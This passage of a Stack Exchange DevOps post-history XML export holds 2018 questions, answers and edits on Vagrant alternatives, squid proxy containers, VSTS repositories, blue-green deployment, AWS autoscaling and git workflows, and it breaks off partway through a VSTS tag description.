  <row Id="12257" PostHistoryTypeId="2" PostId="3908" RevisionGUID="6080d80e-d67a-4eb0-92e6-6761389728a8" CreationDate="2018-04-19T03:32:58.960" UserId="6397" Text="I've been using vagrant for provisioning virtual machines (Linux only) and so far I've been happy with it. The two things I dislike about it - the hardcoded dependency on the `user vagrant` as well as making the very first interface a virtual box NAT - this causes some routing problems when communicating outside my LAN - it has eth0 created by vagrant and eth1 in bridged mode. As far as I understand, this was a design decision so there is no way around it. &#xD;&#xA;&#xD;&#xA;I currently use vagrant &#xD;&#xA;&#xD;&#xA; - To create a Virtual Box virtual machine, &#xD;&#xA; - Set Static IP/MAC addresses&#xD;&#xA; - Create my own secondary user, and then treat it as a standalone &quot;physical&quot; host. I then use this user for any additional provisioning.&#xD;&#xA;&#xD;&#xA;I can delete the `user vagrant` - the problem is that if I do vagrant up (or vagrant halt I believe to gracefully shutdown) it tries to ssh and the command hangs while it retries. The other problem is that I need to delete it each time I spin up a VM and I **cannot** when doing the first time provisioning because I am logged in as user vagrant. &#xD;&#xA;&#xD;&#xA;I've been wondering if there is any other similar software/tool that just does a one time provision, sets up a static IP/MAC address, and allows for easy start/resume/shutdown when testing/deploying/maintaining. &#xD;&#xA;&#xD;&#xA;I've been looking at Hashicorp's packer but I don't think it is possible to automatically configure IP/MAC addresses. &#xD;&#xA;&#xD;&#xA;I am mainly looking for creating a virtual machine from scratch as if it was installed on a bare metal desktop computer by hand using a ISO on a CD.&#xD;&#xA;&#xD;&#xA;In the end, using packer to provision and then using VirtualBox command line tools to recreate some of the functionality that vagrant does will suffice (sett IP/MAC address) - but I wonder if there are any other tools used for creating **secure** (no vagrant user)&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 3.0" />
  <row Id="12258" PostHistoryTypeId="1" PostId="3908" RevisionGUID="6080d80e-d67a-4eb0-92e6-6761389728a8" CreationDate="2018-04-19T03:32:58.960" UserId="6397" Text="Other tools to provision virtual machines" ContentLicense="CC BY-SA 3.0" />
  <row Id="12259" PostHistoryTypeId="3" PostId="3908" RevisionGUID="6080d80e-d67a-4eb0-92e6-6761389728a8" CreationDate="2018-04-19T03:32:58.960" UserId="6397" Text="&lt;vagrant&gt;&lt;provisioning&gt;&lt;virtualization&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12260" PostHistoryTypeId="5" PostId="3908" RevisionGUID="80f92df5-433e-4a67-a727-146aac134037" CreationDate="2018-04-19T03:46:41.803" UserId="6397" Comment="added 30 characters in body" Text="I've been using vagrant for provisioning virtual machines (Linux only) and so far I've been happy with it. The two things I dislike about it - the hardcoded dependency on the `user vagrant` as well as making the very first interface a virtual box NAT - this causes some routing problems when communicating outside my LAN - it has eth0 created by vagrant and eth1 in bridged mode. As far as I understand, this was a design decision so there is no way around it. &#xD;&#xA;&#xD;&#xA;I currently use vagrant &#xD;&#xA;&#xD;&#xA; - To create a Virtual Box virtual machine, &#xD;&#xA; - Set Static IP/MAC addresses&#xD;&#xA; - Create my own secondary user, and then treat it as a standalone &quot;physical&quot; host. I then use this user for any additional provisioning.&#xD;&#xA;&#xD;&#xA;I can delete the `user vagrant` - the problem is that if I do vagrant up (or vagrant halt I believe to gracefully shutdown) it tries to ssh and the command hangs while it retries. The other problem is that I need to delete it each time I spin up a VM and I **cannot** when doing the first time provisioning because I am logged in as user vagrant. &#xD;&#xA;&#xD;&#xA;I've been wondering if there is any other similar software/tool that just does a one time provision, sets up a static IP/MAC address, and allows for easy start/resume/shutdown when testing/deploying/maintaining. &#xD;&#xA;&#xD;&#xA;I've been looking at Hashicorp's packer but I don't think it is possible to automatically configure IP/MAC addresses. &#xD;&#xA;&#xD;&#xA;I am mainly looking for creating a virtual machine from scratch as if it was installed on a bare metal desktop computer by hand using a ISO on a CD.&#xD;&#xA;&#xD;&#xA;In the end, using packer to provision and then using VirtualBox command line tools to recreate some of the functionality that vagrant does will suffice (sett IP/MAC address) - but I wonder if there are any other tools used for creating **secure** (no vagrant user and ssh only with private key)&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 3.0" />
  <row Id="12261" PostHistoryTypeId="5" PostId="3908" RevisionGUID="c104fb74-b6ad-4771-bd36-48e6a8f70e6b" CreationDate="2018-04-19T04:58:03.783" UserId="6397" Comment="added 4 characters in body" Text="I've been using vagrant for provisioning virtual machines (Linux only) and so far I've been happy with it. The two things I dislike about it - the hardcoded dependency on the `user vagrant` as well as making the very first interface a virtual box NAT - this causes some routing problems when communicating outside my LAN - it has eth0 created by vagrant and eth1 in bridged mode. As far as I understand, this was a design decision so there is no way around it. &#xD;&#xA;&#xD;&#xA;I currently use vagrant &#xD;&#xA;&#xD;&#xA; - To create a Virtual Box virtual machine, &#xD;&#xA; - Set Static IP/MAC addresses&#xD;&#xA; - Create my own secondary user, and then treat it as a standalone &quot;physical&quot; host. I then use this user for any additional provisioning.&#xD;&#xA;&#xD;&#xA;I can delete the `user vagrant` - the problem is that if I do vagrant up (or vagrant halt I believe to gracefully shutdown) it tries to ssh and the command hangs while it retries. The other problem is that I need to delete it each time I spin up a VM and I **cannot** when doing the first time provisioning because I am logged in as user vagrant. &#xD;&#xA;&#xD;&#xA;I've been wondering if there is any other similar software/tool that just does a one time provision, sets up a static IP/MAC address, and allows for easy start/resume/shutdown when testing/deploying/maintaining. &#xD;&#xA;&#xD;&#xA;I've been looking at Hashicorp's packer but I don't think it is possible to automatically configure IP/MAC addresses. &#xD;&#xA;&#xD;&#xA;I am mainly looking for creating a virtual machine from scratch as if it was installed on a bare metal desktop computer by hand using a ISO on a CD.&#xD;&#xA;&#xD;&#xA;In the end, using packer to provision and then using VirtualBox command line tools to recreate some of the functionality that vagrant does will suffice (sett IP/MAC address) - but I wonder if there are any other tools used for creating **secure** (no vagrant user and ssh only with private key) vms&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 3.0" />
  <row Id="12265" PostHistoryTypeId="5" PostId="3880" RevisionGUID="5fc8fa8d-8607-443a-b149-e9e92a1e3863" CreationDate="2018-04-19T07:34:02.667" UserId="6375" Comment="Format content" Text="As an Example, I have 1 client (IP: 192.168.0.200) and 1 host (IP: 192.168.0.15). If client want to connect to the internet, then in host will be created container which contains squid proxy (*I pull form the sameersbn/squid:latest`)*&#xD;&#xA;&#xD;&#xA;And my syntax to create the container is:&#xD;&#xA;&#xD;&#xA;    docker run -d -net None --name SQUID_192.168.0.200 -p 9001:3128 -v /home/administrator/container-data:/var/log/squid3&#xD;&#xA;&#xD;&#xA;And configuration IP in my client like this:&#xD;&#xA;&#xD;&#xA;&gt; auto enp0s3&lt;br&gt;iface enp0s3 inet static&lt;br&gt;address 192.168.0.200&lt;br&gt;netmask 255.255.255.0&lt;br&gt;gateway 192.168.0.15&#xD;&#xA;&#xD;&#xA;Then I use iptables to forward packet from 192.168.0.200 to the container&#xD;&#xA;&#xD;&#xA;    iptables -t nat -A PREROUTING -p tcp -i wlp3s0 -s 192.168.0.200 --dport 9001&#xD;&#xA;&#xD;&#xA;**Here's my problem:**&#xD;&#xA;&#xD;&#xA; 1. I don't know better use `-net None` or `-net Host` or something else&#xD;&#xA; 2. I do not know if my way is right or not, to direct the packet form 192.168.0.200 to container name SQUID_192.168.0.200 *(I'm tried using port 9001:3128)*&#xD;&#xA; 3. I have tried to access internet from the client, I opened `google.com` and `detik.com`, but it's not recorded in access.log" ContentLicense="CC BY-SA 3.0" />
  <row Id="12266" PostHistoryTypeId="24" PostId="3880" RevisionGUID="5fc8fa8d-8607-443a-b149-e9e92a1e3863" CreationDate="2018-04-19T07:34:02.667" Comment="Proposed by 6375 approved by 7416 edit id of 677" ContentLicense="CC BY-SA 3.0" />
  <row Id="12268" PostHistoryTypeId="2" PostId="3910" RevisionGUID="a9db9fae-7cb3-4809-8f76-6dbcd6df1f8f" CreationDate="2018-04-19T07:53:43.743" UserId="7476" Text="We are a small company with the following systems:&#xD;&#xA;&#xD;&#xA; - External Web Site for pre-customers (already created in ASP.NET Framework),&#xD;&#xA; - External Mobile Application for customers (in progress in Flutter),&#xD;&#xA; - Internal custom CRM that work on items collected by this External Web Site and Mobile App (already created in ASP.NET Core),&#xD;&#xA; - Internal DataBase and REST API Server (already created in ASP.NET Core this will NOT be changed in a long time).&#xD;&#xA;&#xD;&#xA;So External Web Site and Mobile App talks to Internal Database by API, and then Internal CRM uses this API to retrieve data collected by those External Systems. We are moving from mono repo in Subversion to GIT in VSTS. &#xD;&#xA;&#xD;&#xA;Now my questions is how we should divide projects into the repository? &#xD;&#xA;Should we have one repository to manage all products and then later build CI/CD configured to release few projects at once? This will be easier to run development on a single machine with API running in the background. Or should we have few repositories with Test environment to manage API and Database version? This will require setting up an additional server for Web API and Database.&#xD;&#xA;&#xD;&#xA;I am asking from a project manager and developer perspective what will be easier and more convenient to use and manage?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12269" PostHistoryTypeId="1" PostId="3910" RevisionGUID="a9db9fae-7cb3-4809-8f76-6dbcd6df1f8f" CreationDate="2018-04-19T07:53:43.743" UserId="7476" Text="How should we organize VSTS repositories?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12270" PostHistoryTypeId="3" PostId="3910" RevisionGUID="a9db9fae-7cb3-4809-8f76-6dbcd6df1f8f" CreationDate="2018-04-19T07:53:43.743" UserId="7476" Text="&lt;git&gt;&lt;project-management&gt;&lt;azure-devops&gt;&lt;monorepo&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12271" PostHistoryTypeId="2" PostId="3911" RevisionGUID="0a928d31-55d5-4723-9524-3252f78d4321" CreationDate="2018-04-19T09:30:05.770" UserId="707" Text="I find a lot information about the blue green deployment pattern but maybe miss a point. Please help me to understand.&#xD;&#xA;&#xD;&#xA;Could it be scenarios where you can't successfully duplicate the information flow? &#xD;&#xA;&#xD;&#xA;Examples:&#xD;&#xA;- Captcha request from a third party API; can you ensure same captcha goes to blue and green?&#xD;&#xA;- Randomly generated hardware-based UUID's: blue and green wouldn't get same random number, or?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Or does blue/green mean, that exactly such considerations have to flow as well into the software design?  " ContentLicense="CC BY-SA 3.0" />
  <row Id="12272" PostHistoryTypeId="1" PostId="3911" RevisionGUID="0a928d31-55d5-4723-9524-3252f78d4321" CreationDate="2018-04-19T09:30:05.770" UserId="707" Text="Limits of Blue-Green deployment?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12273" PostHistoryTypeId="3" PostId="3911" RevisionGUID="0a928d31-55d5-4723-9524-3252f78d4321" CreationDate="2018-04-19T09:30:05.770" UserId="707" Text="&lt;deployment&gt;&lt;analysis&gt;&lt;patterns&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12274" PostHistoryTypeId="2" PostId="3912" RevisionGUID="3f4d6316-f6a7-4e4b-b884-352ab0a09c7e" CreationDate="2018-04-19T10:53:59.007" UserId="6775" Text="Have you considered to use [Ansible][1]?&#xD;&#xA;&#xD;&#xA;You have some resources about using [Ansible with VirtualBox][2] and also [vagrant][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ansible.com/&#xD;&#xA;  [2]: https://docs.ansible.com/ansible/2.5/plugins/inventory/virtualbox.html&#xD;&#xA;  [3]: https://www.vagrantup.com/docs/provisioning/ansible.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="12275" PostHistoryTypeId="5" PostId="3911" RevisionGUID="e28d5926-9ff5-43dc-b44b-6313f6e6eb89" CreationDate="2018-04-19T12:02:07.363" UserId="707" Comment="deleted 6 characters in body" Text="I find a lot information about the blue green deployment pattern but maybe miss a point. Please help me to understand.&#xD;&#xA;&#xD;&#xA;Could it be scenarios where you can't successfully duplicate the information flow? &#xD;&#xA;&#xD;&#xA;Examples:&#xD;&#xA;&#xD;&#xA;- Captcha request from a local API; can you ensure same captcha goes to blue and green?&#xD;&#xA;- Randomly generated hardware-based UUID's: blue and green wouldn't get same random number, or?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Or does blue/green mean, that exactly such considerations have to flow as well into the software design?  " ContentLicense="CC BY-SA 3.0" />
  <row Id="12276" PostHistoryTypeId="5" PostId="3911" RevisionGUID="9b4352fc-e022-4b52-8a41-833421e3d9ce" CreationDate="2018-04-19T12:07:17.367" UserId="707" Comment="deleted 6 characters in body" Text="I find a lot information about the [blue green deployment][1] pattern but maybe miss a point. Please help me to understand.&#xD;&#xA;&#xD;&#xA;Could it be scenarios where you can't successfully duplicate the information flow? &#xD;&#xA;&#xD;&#xA;Examples:&#xD;&#xA;&#xD;&#xA;- Captcha request from a local API; can you ensure same captcha goes to blue and green?&#xD;&#xA;- Randomly generated hardware-based UUID's: blue and green wouldn't get same random number, or?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Or does blue/green mean, that exactly such considerations have to flow as well into the software design?  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/bliki/BlueGreenDeployment.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="12277" PostHistoryTypeId="2" PostId="3913" RevisionGUID="3499796c-cf96-4b02-9342-9f2510f582b0" CreationDate="2018-04-19T12:27:03.920" UserId="4427" Text="AWS has something built in called [cloudwatch alarms][1] that can handle the basics.&#xD;&#xA;&#xD;&#xA;You could also use a Lambda Function. Give it access to the ASG, and then have cloudwatch configured so once the min amount of traffic starts coming in it sends an [Event][2] to the Lambda. &#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;ASG&quot;: &quot;MyASGName&quot;&#xD;&#xA;      &quot;Action&quot;: &quot;Start&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;And once the traffic goes below the min. &#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;ASG&quot;: &quot;MyASGName&quot;&#xD;&#xA;      &quot;Action&quot;: &quot;Stop&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You could also build on this over time to control Vertical and Horizontal scaling. &#xD;&#xA;&#xD;&#xA;EDIT: I actually prefer the Lambda. I always seem to run into these weird use cases where we can't shut down any of the instances, we have to do some math or investigation on which instances to shut down. In these situations a python lambda running boto3 is really helpful.&#xD;&#xA;  [1]: http://%20https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/AlarmThatSendsEmail.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/lambda/latest/dg/invoking-lambda-function.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="12278" PostHistoryTypeId="4" PostId="3911" RevisionGUID="78932433-2cc7-484f-97f5-2c0d085f6c31" CreationDate="2018-04-19T12:51:48.220" UserId="707" Comment="edited title" Text="Limits of, or preconditions for of Blue-Green deployment?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12279" PostHistoryTypeId="2" PostId="3914" RevisionGUID="407602ad-d7cd-4d78-a5c1-6603713c58dc" CreationDate="2018-04-19T13:33:28.540" UserId="7481" Text="I am looking forward to implement encryption at rest for two+ SQL database servers (Linux).  My goal is (obviously) to avoid storing the clear encryption key on the server or store it in a well-known location where the server could grab it as needed. I therefore devised a solution where the encryption key is pushed to the server as needed.&#xD;&#xA;&#xD;&#xA;I would like to identify the weaknesses of my design and understand how it can be make more robust and resilient.  &#xD;&#xA;&#xD;&#xA;Currently my plan is the following, for each server:&#xD;&#xA;&#xD;&#xA;- Add an encrypted volume to the server.&#xD;&#xA;- Arrange so that the server boots in a simple runlevel providing SSH access, where the encrypted volumes are not mounted.&#xD;&#xA;- Arrange so that a service monitors the database server and connects over SSH to mount the encrypted volume and cause the server to switch to another runlevel where the database service is active.&#xD;&#xA;&#xD;&#xA;In a nutshell, I use the operating system runlevel as breakpoint in the boot procedure that gives the chance to an external service to automatically give its parameter and automatically resume the boot sequence." ContentLicense="CC BY-SA 3.0" />
  <row Id="12280" PostHistoryTypeId="1" PostId="3914" RevisionGUID="407602ad-d7cd-4d78-a5c1-6603713c58dc" CreationDate="2018-04-19T13:33:28.540" UserId="7481" Text="Is this a robust implementation of database encryption at rest?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12281" PostHistoryTypeId="3" PostId="3914" RevisionGUID="407602ad-d7cd-4d78-a5c1-6603713c58dc" CreationDate="2018-04-19T13:33:28.540" UserId="7481" Text="&lt;databases&gt;&lt;encryption&gt;&lt;architecture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12283" PostHistoryTypeId="2" PostId="3915" RevisionGUID="31cd2e41-15e5-4dab-8ba6-b8ed4c36e165" CreationDate="2018-04-19T14:18:32.177" UserId="2366" Text="We run various microservices on rancher and kubernetes, and I am wondering if there are any open source projects that assist in visualizing network traffic between services to help detect dependencies. Similar to the project below&#xD;&#xA;&#xD;&#xA;[https://docs.netsil.com/][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.netsil.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="12284" PostHistoryTypeId="1" PostId="3915" RevisionGUID="31cd2e41-15e5-4dab-8ba6-b8ed4c36e165" CreationDate="2018-04-19T14:18:32.177" UserId="2366" Text="Open source microservice visualization" ContentLicense="CC BY-SA 3.0" />
  <row Id="12285" PostHistoryTypeId="3" PostId="3915" RevisionGUID="31cd2e41-15e5-4dab-8ba6-b8ed4c36e165" CreationDate="2018-04-19T14:18:32.177" UserId="2366" Text="&lt;docker&gt;&lt;monitoring&gt;&lt;network-monitoring&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12286" PostHistoryTypeId="2" PostId="3916" RevisionGUID="719a8765-134b-4115-a39d-f22d1ccd33ec" CreationDate="2018-04-19T14:26:38.450" UserId="7482" Text="I'm trying to streamline/standardize a git workflow in my workplace. The current delopment process is as follows:&#xD;&#xA;&#xD;&#xA;1. Pull 'development' branch &#xD;&#xA;2. Write code and commit and push to 'development' branch&#xD;&#xA;3. Cherry pick from 'development' into 'testing' branch for User Acceptance Testing&#xD;&#xA;4. Cherry pick from 'testing' into 'staging'&#xD;&#xA;5. 'staging' is merged into 'master' once a week&#xD;&#xA;&#xD;&#xA;I want to adopt a 'feature branch' work flow with testing, staging and master. Thus I don't think there is any need for 'development'. From waht I gather, feature branches should be taken from 'master'. &#xD;&#xA;&#xD;&#xA;What I'm having trouble understanding is how to fit in the 'testing' and 'staging' environments into a 'feature branch' git workflow.&#xD;&#xA;&#xD;&#xA;Can someone explain how that might work?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12287" PostHistoryTypeId="1" PostId="3916" RevisionGUID="719a8765-134b-4115-a39d-f22d1ccd33ec" CreationDate="2018-04-19T14:26:38.450" UserId="7482" Text="Git Workflow with User Acceptance and Staging Environments" ContentLicense="CC BY-SA 3.0" />
  <row Id="12288" PostHistoryTypeId="3" PostId="3916" RevisionGUID="719a8765-134b-4115-a39d-f22d1ccd33ec" CreationDate="2018-04-19T14:26:38.450" UserId="7482" Text="&lt;deployment&gt;&lt;git&gt;&lt;continuous-deployment&gt;&lt;gitlab&gt;&lt;workflow&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12289" PostHistoryTypeId="5" PostId="3913" RevisionGUID="44bbcf53-95fc-478c-a6d1-fd25f2988684" CreationDate="2018-04-19T14:36:47.227" UserId="4427" Comment="Fixed broken link" Text="AWS has something built in called [cloudwatch alarms][1] that can handle the basics.&#xD;&#xA;&#xD;&#xA;You could also use a Lambda Function. Give it access to the ASG, and then have cloudwatch configured so once the min amount of traffic starts coming in it sends an [Event][2] to the Lambda. &#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;ASG&quot;: &quot;MyASGName&quot;&#xD;&#xA;      &quot;Action&quot;: &quot;Start&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;And once the traffic goes below the min. &#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;ASG&quot;: &quot;MyASGName&quot;&#xD;&#xA;      &quot;Action&quot;: &quot;Stop&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You could also build on this over time to control Vertical and Horizontal scaling. &#xD;&#xA;&#xD;&#xA;EDIT: I actually prefer the Lambda. I always seem to run into these weird use cases where we can't shut down any of the instances, we have to do some math or investigation on which instances to shut down. In these situations a python lambda running boto3 is really helpful.&#xD;&#xA;  [1]:https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/AlarmThatSendsEmail.html&#xD;&#xA;[2]: https://docs.aws.amazon.com/lambda/latest/dg/invoking-lambda-function.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="12290" PostHistoryTypeId="2" PostId="3917" RevisionGUID="ac64f5ac-3aff-4de7-b3a4-630d0558bd54" CreationDate="2018-04-19T14:39:51.300" UserId="709" Text="well, gitflow is your friend here. &#xD;&#xA;http://nvie.com/posts/a-successful-git-branching-model/" ContentLicense="CC BY-SA 3.0" />
  <row Id="12294" PostHistoryTypeId="10" PostId="3884" RevisionGUID="d57a4ab4-9c0e-4c34-b65d-65fabc856af7" CreationDate="2018-04-19T15:25:27.293" UserId="13" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;},{&quot;Id&quot;:4289,&quot;DisplayName&quot;:&quot;Rekovni&quot;},{&quot;Id&quot;:739,&quot;DisplayName&quot;:&quot;chicks&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="12295" PostHistoryTypeId="2" PostId="3919" RevisionGUID="e7017478-e81b-4509-8764-51598966b61a" CreationDate="2018-04-19T17:26:31.357" UserId="4427" Text="I believe some of the monitoring tools like [Dynatrace][1] and [Scope][2] show some neat stuff. This really depends on your platform (I'm assuming Kubernetes). &#xD;&#xA;&#xD;&#xA;However, if you are running something else checkout [Visceral][3]. Here is a neat video of it in [action][4]. It's more complicated to get up and going.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.dynatrace.com/availability-and-performance/kubernetes-monitoring/?utm_source=google&amp;utm_medium=cpc&amp;utm_term=%2Bkubernetes%20%2Bmonitoring&amp;utm_campaign=us-cloud-monitoring&amp;gclid=EAIaIQobChMIuPjm5urG2gIVhwOGCh2dQA5bEAAYAyAAEgINEfD_BwE&#xD;&#xA;  [2]: https://github.com/weaveworks/scope&#xD;&#xA;  [3]: https://github.com/Netflix/vizceral&#xD;&#xA;  [4]: https://www.youtube.com/watch?v=JctsPpgEsVs" ContentLicense="CC BY-SA 3.0" />
  <row Id="12299" PostHistoryTypeId="2" PostId="3921" RevisionGUID="f60c02cd-9bed-4b98-8f71-5e1eeaaf16bb" CreationDate="2018-04-19T22:41:55.320" UserId="4175" Text="I must admit that I don't quite get the examples your giving. Sure, random numbers will be different between the two environments.&#xD;&#xA;&#xD;&#xA;Blue-green means simply to have two nearly identical production environments with some kind of router/load balancer in front. Clients talk to the load balancer, and the LB routes requests to one of the two environments.&#xD;&#xA;&#xD;&#xA;To deploy a new version, you provision all machines/services/etc. in the inactive environment, test to your heart's content, and then do the instant switch (on the router) if you're satisfied.&#xD;&#xA;&#xD;&#xA;Actually, I don't see anything that requires any precondition at all about this. Obviously, one precondition is that you are at all able to create a second, fully fledged production environment in the first place; and that there is a technical solution that works as a load balancer in the above sense. That may get very complicated if you have a widely distributed system which you want to switch completely at once. That may just become to complex. &#xD;&#xA;&#xD;&#xA;But aside from that, nothing special compared to, for example, running a separate test environment next to your dev/prod environments." ContentLicense="CC BY-SA 3.0" />
  <row Id="12300" PostHistoryTypeId="2" PostId="3922" RevisionGUID="d46b91a5-8510-4a78-8f43-7ae92a9c1092" CreationDate="2018-04-19T22:47:56.533" UserId="4175" Text="&gt; I've been wondering if there is any other similar software/tool that just does a one time provision, sets up a static IP/MAC address, and allows for easy start/resume/shutdown when testing/deploying/maintaining.&#xD;&#xA;&#xD;&#xA;Sure... a virtualbox VM is simply a XML file. You can copy/modify it as such easily. Use `vboxmanage` to clone the hdd images as necessary.&#xD;&#xA;&#xD;&#xA;So, I don't think it would be too far fetched to just create a template VM in virtualbox once, and then use a little script to do the rest. This way, you have complete control over everything. As you are using Ansible to provision the fresh VM anyway, you don't lose that much by ditching Vagrant.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12301" PostHistoryTypeId="2" PostId="3923" RevisionGUID="bcd3d251-4493-44b1-9026-3997f7ee455f" CreationDate="2018-04-19T22:48:56.830" UserId="2466" Text="Are the credentials you are using a username/pass or token? If so, that will work for http cloning, but will fail for git@ since that uses ssh keys to authenticate. &#xD;&#xA;&#xD;&#xA;There is another option you can select called &quot;Checkout over SSH&quot; that comes from the [Github Branch Source Plugin][1]. You will need to add a new &quot;SSH Username with Private Key&quot; credential to Jenkins where you can select to either upload a private key, use a file, or use the one on jenkins master (usually `~/.ssh/id_rsa`). The corresponding public key will need to be added to your Github profile or repo settings.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/GitHub+Branch+Source+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="12302" PostHistoryTypeId="2" PostId="3924" RevisionGUID="9c936333-a8b6-43d5-849f-d3b78ae17809" CreationDate="2018-04-20T01:54:26.557" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="12303" PostHistoryTypeId="1" PostId="3924" RevisionGUID="9c936333-a8b6-43d5-849f-d3b78ae17809" CreationDate="2018-04-20T01:54:26.557" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12304" PostHistoryTypeId="2" PostId="3925" RevisionGUID="66dc4be7-7003-4ad4-9e30-e22d4287d90b" CreationDate="2018-04-20T01:54:26.557" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="12305" PostHistoryTypeId="1" PostId="3925" RevisionGUID="66dc4be7-7003-4ad4-9e30-e22d4287d90b" CreationDate="2018-04-20T01:54:26.557" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12306" PostHistoryTypeId="2" PostId="3926" RevisionGUID="0ef15d39-24d5-4ad3-84d1-cb02f3cc1157" CreationDate="2018-04-20T02:11:38.170" UserId="7490" Text="For now you can't.&#xD;&#xA;But you have [Analytics][1] and there is a Code part that is in the roadmap.&#xD;&#xA;Take a look there anyway. It has some awesome widgets so far.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/vsts/report/analytics/analytics-widgets-vsts?view=vsts" ContentLicense="CC BY-SA 3.0" />
  <row Id="12312" PostHistoryTypeId="5" PostId="3924" RevisionGUID="ab6ec1cd-bbd5-4eef-a122-8d8a41abca37" CreationDate="2018-04-20T06:24:59.497" UserId="7490" Comment="added 4311 characters in body" Text="Visual Studio Team Services (VSTS), is the home for your project data in the cloud. Get up and running in minutes on our cloud infrastructure without having to install or configure a single server. Set up an environment that includes everything from hosted Git repos and project tracking tools, to continuous integration and an IDE, all packaged up in a monthly per-user plan. Connect to your project in the cloud using your favorite development tool, such as Visual Studio, Eclipse or Xcode. VSTS also hosts several cloud-only services for developers and development teams like cloud build, cloud load testing, and Application Insights. [Find out more here][1].&#xD;&#xA;&#xD;&#xA;Features&#xD;&#xA;&#xD;&#xA;*	[Agile Tools][2] – Kanban boards, Backlogs, Scrum boards&#xD;&#xA;*	[Reporting][3] – Dashboards, widgets, Power BI&#xD;&#xA;*	Source control&#xD;&#xA; *	[Git][4] – free private repos, social code reviews and more&#xD;&#xA; *	[TFVC][5] – centralized version control system with free private repos&#xD;&#xA;*	[Continuous Integration][6] – link builds to test results, work items, code and releases. Hosted build agents, multi-platform for Windows, Mac and Linux, automated builds and diagnostics.&#xD;&#xA;*	[Testing Tools][7] – load testing, continuous testing, manual testing, exploratory testing, user acceptance testing, Unit testing and IDE.&#xD;&#xA;*	[Release Management][8] – automate deployments, manual/automated gates for approval workflows, audit trails, extend and customize workflows with Jenkins, Docker, Redgate and more.&#xD;&#xA;*	[Marketplace][8] – extensions for the Visual Studio family of products.&#xD;&#xA;*	[Tools for Java Teams][9]&#xD;&#xA;*	[Package Management][10]&#xD;&#xA;*	[Enterprise ready][11]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Pricing&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;VSTS is free for individuals and teams with up to 5 users. You’ll get access to basic features like unlimited Git repos, Agile tools, exploratory testing, release management and more. You can also add unlimited users for free who are able to view team dashboards, view backlog &amp; portfolio planning, and create &amp; edit work items.&#xD;&#xA;&#xD;&#xA;For growing teams, there are additional non-commitment monthly user plans available for additional team members. [Find out more here][12].&#xD;&#xA;&#xD;&#xA;Updates&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;New features and updates are introduced to VSTS every 3 weeks. Users will receive new features before they are rolled up into an update to the on-premises Team Foundation Server product. The release notes for each deployment is available by RSS feed and is summarized into a [Release Archive available here][13].&#xD;&#xA;&#xD;&#xA;Tag usage&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;It is recommended to use the [tag:vsts] tag along with the specific product area tags:&#xD;&#xA;&#xD;&#xA;*	[tag:tfs]&#xD;&#xA;*	[tag:tfs-workitem]&#xD;&#xA;*	[tag:vsts-package-management]&#xD;&#xA;*	[tag:vsts-build]&#xD;&#xA;*	[tag:vsts-build-task]&#xD;&#xA;*	[tag:tfsbuild]&#xD;&#xA;*	[tag:vsts-release]&#xD;&#xA;*	[tag:vsts-api]&#xD;&#xA;*	[tag:tfs-migration]&#xD;&#xA;&#xD;&#xA;Other resources&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;We have channels that you can also voice your concerns, FAQs, documentation and submit an idea:&#xD;&#xA;&#xD;&#xA; * 